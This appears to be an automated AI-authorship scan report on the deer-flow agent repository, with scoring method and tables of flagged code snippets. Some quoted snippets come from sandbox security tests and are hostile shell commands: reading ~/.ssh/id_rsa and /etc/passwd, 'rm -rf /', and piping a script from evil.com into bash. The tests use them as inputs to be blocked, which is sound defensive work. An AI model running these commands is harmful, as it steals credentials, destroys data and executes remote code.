An open-source long-horizon SuperAgent harness that researches, codes, and creates. With the help of sandboxes, memories, tools, skill, subagents and message gateway, it handles different levels of tasks that could take minutes to hours.
This report presents the forensic synthetic code analysis of bytedance/deer-flow, a Python project with 81,054 GitHub stars. SynthScan v2.0 examined 630,422 lines of code across 2266 source files, recording 17991 pattern matches distributed across 25 syntactic categories. The overall adjusted score of 35.5 places this repository in the Strong AI signal band.
The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).
This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.
Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.
This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.
The scanner identified 17991 distinct pattern matches across 25 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | docker/provisioner/app.py | 153 | def _host_base_dir_for_extra_mounts() -> str: | CODE |
| LOW | docker/provisioner/app.py | 174 | def _normalize_extra_mount_container_path(container_path: str) -> str: | CODE |
| LOW | docker/provisioner/app.py | 219 | def _lark_cli_runtime_enabled(provision_lark_cli_runtime: bool) -> bool: | CODE |
| LOW | docker/provisioner/app.py | 229 | def _runtime_provided_extra_mounts( | CODE |
| LOW | docker/provisioner/app.py | 262 | def _lark_broker_credential_mounts(extra_mounts: list["ExtraMount"] | None) -> dict[str, "ExtraMount"]: | CODE |
| LOW | docker/provisioner/app.py | 280 | def _extra_mount_pvc_sub_path(host_path: str) -> str: | CODE |
| LOW | docker/provisioner/app.py | 476 | def _build_extra_volume_mounts(extra_mounts: list[ExtraMount] | None = None) -> list[k8s_client.V1VolumeMount]: | CODE |
| LOW | docker/provisioner/app.py | 719 | def _build_lark_cli_init_containers( | CODE |
| LOW | docker/provisioner/app.py | 766 | def _build_lark_cli_broker_sidecars( | CODE |
| LOW | frontend/tests/unit/core/streamdown-plugins.test.ts | 35 | function renderMemorySummaryMarkdown(content: string) { | CODE |
| LOW | frontend/tests/unit/core/threads/stream-options.test.ts | 3 | async function captureThreadStreamOptions() { | CODE |
| LOW | …tests/unit/core/voice-input/speech-recognition.test.ts | 98 | function makeSpeechRecognitionConstructor(): SpeechRecognitionConstructor { | CODE |
| LOW | frontend/tests/unit/hooks/use-global-shortcuts.test.ts | 5 | async function loadHookWithCapturedHandler() { | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 71 | async function clickSelectionToolbarButton(page: Page, label: string) { | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 89 | async function selectTextAndClickToolbarButton( | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 108 | async function expectSidecarSelectionToolbarActions(page: Page, text: string) { | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 134 | async function expectComposerHeightsEqual(page: Page) { | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 163 | async function expectSidecarModelPinnedToSubmit(page: Page) { | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 239 | async function expectSidecarModelHiddenWhenCompact(page: Page) { | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 289 | async function expectSidecarScrollDoesNotAnimateAfterOpen(page: Page) { | CODE |
| LOW | frontend/tests/e2e/sidecar-chat.spec.ts | 325 | async function openSidecarAndExpectNoAnimatedScroll(page: Page) { | CODE |
| LOW | frontend/tests/e2e/streaming-reasoning-order.spec.ts | 81 | async function startHeldOpenStreamServer() { | CODE |
| LOW | frontend/tests/e2e/artifact-batched-stream.spec.ts | 21 | function batchedWriteFileStreamFrames() { | CODE |
| LOW | frontend/tests/e2e/artifact-batched-stream.spec.ts | 107 | async function startBatchedWriteFileStreamServer() { | CODE |
| LOW | frontend/src/core/clipboard.ts | 76 | async function readPlainTextFromClipboardItem( | CODE |
| LOW | frontend/src/core/clipboard.ts | 103 | function canDefineNavigatorClipboard( | CODE |
| LOW | frontend/src/core/workspace-changes/summary.ts | 19 | export function getWorkspaceChangeBadgeLabel(summary: WorkspaceChangeSummary) { | CODE |
| LOW | frontend/src/core/workspace-changes/summary.ts | 24 | export function getWorkspaceChangeLineClass( | CODE |
| LOW | frontend/src/core/settings/store.ts | 41 | function ensureStorageListenerRegistered() { | CODE |
| LOW | frontend/src/core/artifacts/loader.ts | 118 | export function loadArtifactContentFromToolCall({ | CODE |
| LOW | frontend/src/core/artifacts/utils.ts | 30 | export function buildWriteFileArtifactURL({ | CODE |
| LOW | frontend/src/core/artifacts/utils.ts | 50 | function decodeRelativeArtifactPath(filepath: string) { | CODE |
| LOW | frontend/src/core/artifacts/utils.ts | 76 | export function extractArtifactsFromThread(thread: { | CODE |
| LOW | frontend/src/core/artifacts/utils.ts | 89 | export function resolveMarkdownArtifactURL(src: string, threadId: string) { | CODE |
| LOW | frontend/src/core/artifacts/preview.ts | 81 | export function buildWriteFileDraftContent({ | CODE |
| LOW | frontend/src/core/artifacts/preview.ts | 167 | export function appendHtmlPreviewBaseHref( | CODE |
| LOW | frontend/src/core/artifacts/preview.ts | 205 | export function createHtmlPreviewScrollKey(value: string) { | CODE |
| LOW | frontend/src/core/artifacts/preview.ts | 221 | function htmlScrollRestorationScript(messageKey: string) { | CODE |
| LOW | frontend/src/core/artifacts/preview.ts | 264 | export function appendHtmlPreviewScrollRestoration( | CODE |
| LOW | frontend/src/core/background-tasks/types.ts | 54 | export function shouldPollBackgroundTaskDetail( | CODE |
| LOW | frontend/src/core/tasks/subtask-result.ts | 198 | export function derivePendingSubtaskStatus( | CODE |
| LOW | frontend/src/core/tasks/subtask-result.ts | 232 | function hasStructuredSubagentMetadata( | CODE |
| LOW | frontend/src/core/tasks/subtask-result.ts | 241 | function readStructuredResultBrief( | CODE |
| LOW | frontend/src/core/messages/usage-model.ts | 88 | export function tokenUsagePreferencesFromPreset( | CODE |
| LOW | frontend/src/core/messages/usage-model.ts | 212 | function buildActionLabelsFromAttribution( | CODE |
| LOW | frontend/src/core/messages/usage-model.ts | 221 | function describeAttributionAction( | CODE |
| LOW | frontend/src/core/messages/usage-model.ts | 307 | function normalizeTokenUsageAttribution( | CODE |
| LOW | frontend/src/core/messages/usage-model.ts | 345 | function normalizeTokenUsageAttributionAction( | CODE |
| LOW | frontend/src/core/messages/usage-model.ts | 430 | function isTokenUsageAttributionKind( | CODE |
| LOW | frontend/src/core/messages/human-input.ts | 74 | export function shouldClearPendingHumanInputOnThreadError({ | CODE |
| LOW | frontend/src/core/messages/human-input.ts | 135 | export function buildInitialHumanInputFormValues( | CODE |
| LOW | frontend/src/core/messages/human-input.ts | 390 | export function extractHumanInputResponse( | CODE |
| LOW | frontend/src/core/messages/human-input.ts | 421 | export function deriveHumanInputThreadState( | CODE |
| LOW | frontend/src/core/messages/human-input.ts | 496 | export function createHumanInputOptionResponse( | CODE |
| LOW | frontend/src/core/messages/human-input.ts | 534 | export function buildHumanInputFormSummary( | CODE |
| LOW | frontend/src/core/messages/human-input.ts | 550 | export function buildHumanInputFormSubmissionValue( | CODE |
| LOW | frontend/src/core/messages/human-input.ts | 569 | export function createHumanInputTextResponse( | CODE |
| LOW | frontend/src/core/messages/human-input.ts | 583 | export function buildHumanInputResponseText( | CODE |
| LOW | frontend/src/core/messages/derived-state.ts | 88 | export function deriveStableMessageGroups( | CODE |
| LOW | frontend/src/core/messages/derived-state.ts | 174 | export function deriveAssistantTurnUsageState( | CODE |
| 12136 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | config.example.yaml | 13 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 15 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 20 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 22 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 51 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 53 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 59 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 61 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 68 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 70 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 83 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 85 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 95 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 97 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 708 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 710 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1118 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1120 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1148 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1150 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1159 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1161 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1221 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1223 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1232 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1234 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1699 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1701 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1717 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1719 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1728 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1730 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1992 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1994 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2000 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2002 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2009 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2011 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2542 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2544 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2577 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2579 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 33 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 35 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 695 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 697 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1102 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1104 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1173 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1175 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1196 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1198 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1267 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1269 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1517 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1519 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1622 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1624 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1637 | # ============================================================================ | COMMENT |
| MEDIUM | config.example.yaml | 1639 | # ============================================================================ | COMMENT |
| 1791 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | docker/provisioner/app.py | 30 | CODE | |
| LOW | backend/sitecustomize.py | 8 | CODE | |
| LOW | backend/app/subagent_batches/service.py | 3 | CODE | |
| LOW | backend/app/subagent_batches/__init__.py | 1 | CODE | |
| LOW | backend/app/scheduler/service.py | 1 | CODE | |
| LOW | backend/app/scheduler/__init__.py | 1 | CODE | |
| LOW | backend/app/mcp_tasks/service.py | 1 | CODE | |
| LOW | backend/app/mcp_tasks/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/browser_capability.py | 3 | CODE | |
| LOW | backend/app/gateway/deps.py | 18 | CODE | |
| LOW | backend/app/gateway/services.py | 8 | CODE | |
| LOW | backend/app/gateway/context_usage.py | 3 | CODE | |
| LOW | backend/app/gateway/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/auth_disabled.py | 3 | CODE | |
| LOW | backend/app/gateway/internal_auth.py | 3 | CODE | |
| LOW | backend/app/gateway/pagination.py | 3 | CODE | |
| LOW | backend/app/gateway/run_models.py | 3 | CODE | |
| LOW | backend/app/gateway/checkpoint_lineage.py | 3 | CODE | |
| LOW | backend/app/gateway/authz.py | 30 | CODE | |
| LOW | backend/app/gateway/trace_middleware.py | 3 | CODE | |
| LOW | backend/app/gateway/routers/subagents.py | 3 | CODE | |
| LOW | backend/app/gateway/routers/thread_runs.py | 12 | CODE | |
| LOW | backend/app/gateway/routers/scheduled_tasks.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/feedback.py | 7 | CODE | |
| LOW | backend/app/gateway/routers/channel_connections.py | 3 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/__init__.py | 1 | CODE | |
| LOW | backend/app/gateway/routers/assistants_compat.py | 10 | CODE | |
| LOW | backend/app/gateway/routers/subagent_batches.py | 3 | CODE | |
| LOW | backend/app/gateway/routers/threads.py | 13 | CODE | |
| LOW | backend/app/gateway/routers/mcp_tasks.py | 3 | CODE | |
| LOW | backend/app/gateway/routers/channels.py | 3 | CODE | |
| LOW | backend/app/gateway/routers/github_webhooks.py | 26 | CODE | |
| LOW | backend/app/gateway/routers/runs.py | 8 | CODE | |
| LOW | backend/app/gateway/auth/oidc.py | 7 | CODE | |
| LOW | backend/app/gateway/auth/oidc_state.py | 8 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 9 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 9 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 9 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 10 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 10 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 10 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 11 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 11 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 11 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 12 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 13 | CODE | |
| LOW | backend/app/gateway/auth/__init__.py | 13 | CODE | |
| 1153 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | docker/provisioner/app.py | 309 | except Exception as exc: | CODE |
| LOW | docker/provisioner/app.py | 315 | except Exception as exc: | CODE |
| LOW | backend/debug.py | 89 | except Exception as e: | CODE |
| LOW | backend/debug.py | 160 | except Exception as e: | CODE |
| LOW | backend/app/scheduler/service.py | 294 | except Exception as exc: | CODE |
| LOW | backend/app/scheduler/service.py | 328 | except Exception: | CODE |
| LOW | backend/app/scheduler/service.py | 354 | except Exception: | CODE |
| LOW | backend/app/scheduler/service.py | 559 | except Exception: | CODE |
| LOW | backend/app/scheduler/service.py | 568 | except Exception: | CODE |
| LOW | backend/app/scheduler/service.py | 583 | except Exception: | CODE |
| LOW | backend/app/scheduler/service.py | 593 | except Exception: | CODE |
| LOW | backend/app/scheduler/service.py | 607 | except Exception: | CODE |
| LOW | backend/app/mcp_tasks/service.py | 154 | except Exception: | CODE |
| LOW | backend/app/mcp_tasks/service.py | 342 | except Exception as exc: # noqa: BLE001 - remote cancellation is retryable | CODE |
| LOW | backend/app/mcp_tasks/service.py | 385 | except Exception: # noqa: BLE001 - retain the original task-scoped failure | CODE |
| LOW | backend/app/mcp_tasks/service.py | 481 | except Exception as exc: # noqa: BLE001 - retry the same idempotency key | CODE |
| LOW | backend/app/mcp_tasks/service.py | 532 | except Exception as exc: # noqa: BLE001 - driver boundary; retry on the next poll | CODE |
| LOW | backend/app/mcp_tasks/service.py | 668 | except Exception: | CODE |
| MEDIUM | backend/app/gateway/deps.py | 425 | def reset_notify_loop_safely() -> None: | CODE |
| LOW⚡ | backend/app/gateway/deps.py | 185 | except Exception: | CODE |
| LOW⚡ | backend/app/gateway/deps.py | 188 | except Exception: | CODE |
| LOW⚡ | backend/app/gateway/deps.py | 232 | except Exception: | CODE |
| LOW⚡ | backend/app/gateway/deps.py | 305 | except Exception: | CODE |
| LOW⚡ | backend/app/gateway/deps.py | 312 | except Exception: | CODE |
| LOW | backend/app/gateway/deps.py | 208 | except Exception: | CODE |
| LOW | backend/app/gateway/deps.py | 212 | except Exception: | CODE |
| LOW | backend/app/gateway/deps.py | 363 | except Exception as exc: # noqa: BLE001 - request boundary: log and degrade gracefully | CODE |
| LOW | backend/app/gateway/deps.py | 421 | except Exception: | CODE |
| LOW | backend/app/gateway/deps.py | 428 | except Exception: | CODE |
| LOW⚡ | backend/app/gateway/services.py | 207 | except Exception: | CODE |
| LOW⚡ | backend/app/gateway/services.py | 467 | except Exception: | CODE |
| LOW⚡ | backend/app/gateway/services.py | 590 | except Exception: | CODE |
| LOW | backend/app/gateway/services.py | 164 | except Exception: | CODE |
| LOW | backend/app/gateway/services.py | 623 | except Exception: | CODE |
| LOW | backend/app/gateway/services.py | 838 | except Exception: | CODE |
| LOW | backend/app/gateway/services.py | 945 | except Exception: | CODE |
| LOW | backend/app/gateway/services.py | 985 | except Exception: | CODE |
| LOW | backend/app/gateway/services.py | 1087 | except Exception as exc: | CODE |
| LOW | backend/app/gateway/services.py | 1314 | except Exception as exc: | CODE |
| LOW | backend/app/gateway/services.py | 1411 | except Exception as exc: | CODE |
| LOW⚡ | backend/app/gateway/context_usage.py | 39 | except Exception: | CODE |
| LOW | backend/app/gateway/context_usage.py | 72 | except Exception: | CODE |
| LOW | backend/app/gateway/context_usage.py | 78 | except Exception: | CODE |
| LOW⚡ | backend/app/gateway/app.py | 450 | except Exception: | CODE |
| LOW⚡ | backend/app/gateway/app.py | 456 | except Exception: | CODE |
| LOW⚡ | backend/app/gateway/app.py | 463 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 140 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 189 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 221 | except Exception as e: | CODE |
| LOW | backend/app/gateway/app.py | 241 | except Exception: # observability must never break startup | CODE |
| LOW | backend/app/gateway/app.py | 261 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 289 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 296 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 325 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 347 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 434 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 477 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 498 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 546 | except Exception: | CODE |
| LOW | backend/app/gateway/app.py | 564 | except Exception: | CODE |
| 929 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | backend/debug.py | 10 | cd backend && PYTHONPATH=. uv run python debug.py | STRING |
| HIGH⚡ | backend/tests/test_sandbox_tools_security.py | 546 | ("ls /mnt/user-data && pwd", "ls /tmp/deer-flow/threads/t1/user-data && pwd"), | CODE |
| HIGH⚡ | backend/tests/test_sandbox_tools_security.py | 569 | "cd /mnt/user-data/workspace && git clone https://github.com/CherryHQ/cherry-studio.git", | CODE |
| HIGH⚡ | backend/tests/test_sandbox_tools_security.py | 584 | "/bin/echo ok > /mnt/user-data/workspace/out.txt && cat /dev/null", | CODE |
| HIGH⚡ | backend/tests/test_sandbox_tools_security.py | 634 | validate_local_bash_command_paths("cd $HOME && cat .ssh/id_rsa", _THREAD_DATA) | CODE |
| HIGH⚡ | backend/tests/test_sandbox_tools_security.py | 639 | validate_local_bash_command_paths("echo ok\ncd $HOME && cat .ssh/id_rsa", _THREAD_DATA) | CODE |
| HIGH⚡ | backend/tests/test_sandbox_tools_security.py | 646 | "builtin cd $HOME && cat .ssh/id_rsa", | CODE |
| HIGH⚡ | backend/tests/test_sandbox_tools_security.py | 649 | 'echo "$(cd $HOME && cat .ssh/id_rsa)"', | CODE |
| HIGH⚡ | backend/tests/test_sandbox_tools_security.py | 661 | "ln -s / root && cat root/etc/passwd", | CODE |
| HIGH⚡ | backend/tests/test_sandbox_tools_security.py | 683 | "mkdir -p reports && python script.py data/input.csv > reports/out.txt", | CODE |
| HIGH⚡ | backend/tests/test_sandbox_tools_security.py | 690 | "cd /mnt/user-data/workspace && cat data/input.csv > reports/out.txt", | CODE |
| HIGH⚡ | backend/tests/test_tool_result_meta.py | 343 | content = '{"error": null, "query": "test"}' | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 233 | assert batcher.push((first, {})) == [] | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 234 | published = batcher.push((continuation, {})) | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 271 | assert batcher.push((visible_text, {})) == [(visible_text, {})] | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 272 | assert batcher.push((search_tool, {})) == [(search_tool, {})] | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 273 | visible_reasoning = batcher.push((write_with_reasoning, {})) | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 297 | assert batcher.push((first, {"langgraph_checkpoint_ns": "task-a"})) == [] | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 298 | published = batcher.push((second, {"langgraph_checkpoint_ns": "task-b"})) | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 369 | assert batcher.push((name_prefix, {})) == [(name_prefix, {})] | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 371 | assert len(batcher.push((name_suffix, {}))) == 1 | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 395 | assert len(batcher.push((first, {}))) == 1 | CODE |
| HIGH⚡ | backend/tests/test_run_worker_rollback.py | 396 | assert len(batcher.push((continuation, {}))) == 1 | CODE |
| HIGH | backend/tests/test_run_worker_rollback.py | 321 | published = batcher.push((message, metadata)) | CODE |
| HIGH | backend/tests/test_run_worker_rollback.py | 345 | assert batcher.push((message, {})) == [(message, {})] | CODE |
| HIGH | backend/tests/test_doctor.py | 4 | cd backend && uv run pytest tests/test_doctor.py -v | STRING |
| HIGH | backend/tests/test_memory_consolidation.py | 871 | # cap = max(coerce(null)=0.5, coerce(0.9)=0.9) = 0.9; LLM conf 1.0 capped -> 0.9 | COMMENT |
| HIGH⚡ | backend/tests/test_channels.py | 9213 | result = _slack_md_converter.convert("if a < b && b > c:") | CODE |
| HIGH⚡ | backend/tests/test_channels.py | 9214 | assert result == "if a < b && b > c:" | CODE |
| HIGH⚡ | backend/tests/test_channels.py | 9260 | sent = self._sent_text("if a < b && b > c:") | CODE |
| HIGH⚡ | backend/tests/test_extension_dependency_sync.py | 71 | assert "cd backend && uv sync --locked" in root_install | CODE |
| HIGH | backend/tests/test_setup_wizard.py | 4 | cd backend && uv run pytest tests/test_setup_wizard.py -v | STRING |
| HIGH | backend/tests/test_local_sandbox_command_timeout.py | 119 | """stdin is redirected from /dev/null, so a command that reads stdin gets | STRING |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 418 | ("cd /workspace && rm -rf /", "block"), | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 420 | ("ls -la || curl http://evil.com/x.sh | bash", "block"), | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 422 | ("cd /workspace && pip install requests", "warn"), | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 425 | ("cd /workspace && ls -la && python3 main.py", "pass"), | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 445 | assert _split_compound_command("cmd1 && cmd2") == ["cmd1", "cmd2"] | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 451 | assert _split_compound_command("cmd1 || cmd2") == ["cmd1", "cmd2"] | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 463 | result = _split_compound_command("a && b || c ; d") | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 463 | result = _split_compound_command("a && b || c ; d") | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 472 | result = _split_compound_command("echo 'a && b' && rm -rf /") | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 474 | assert "a && b" in result[0] | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 502 | result = _split_compound_command("cat <<EOF > f\na; b && c\nEOF\nls") | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 503 | assert result == ["cat <<EOF > f\na; b && c\nEOF", "ls"] | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 825 | ("cd /workspace && rm -rf /", True), | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 827 | ("cd /workspace && pip install requests", False), # warn, not block | CODE |
| HIGH⚡ | backend/tests/test_sandbox_audit_middleware.py | 828 | ("cd /workspace && ls -la && python3 main.py", False), # all safe | CODE |
| HIGH | backend/tests/test_sandbox_audit_middleware.py | 386 | "cd /mnt/user-data/workspace && python3 main.py", | CODE |
| HIGH | backend/tests/test_sandbox_audit_middleware.py | 970 | "cd /mnt/user-data/workspace && python3 main.py", | CODE |
| HIGH | backend/tests/test_pnpm_script.py | 142 | assert "cd frontend && pnpm install" not in result.stdout | CODE |
| HIGH⚡ | backend/tests/test_gateway_services.py | 2688 | """When caller sends context=null, treat it as an empty context object.""" | STRING |
| HIGH | backend/packages/harness/deerflow/runtime/converters.py | 27 | - AIMessage (with tool_calls) → {"role": "assistant", "content": null, "tool_calls": [...]} | STRING |
| HIGH | …ckages/harness/deerflow/runtime/stream_bridge/redis.py | 24 | " cd backend && uv sync --all-packages --extra redis\n" | CODE |
| HIGH | …ckend/packages/harness/deerflow/runtime/runs/worker.py | 2514 | chunks_to_publish = file_tool_chunk_batcher.push(chunk) if mode == "messages" and file_tool_chunk_batcher is not Non | CODE |
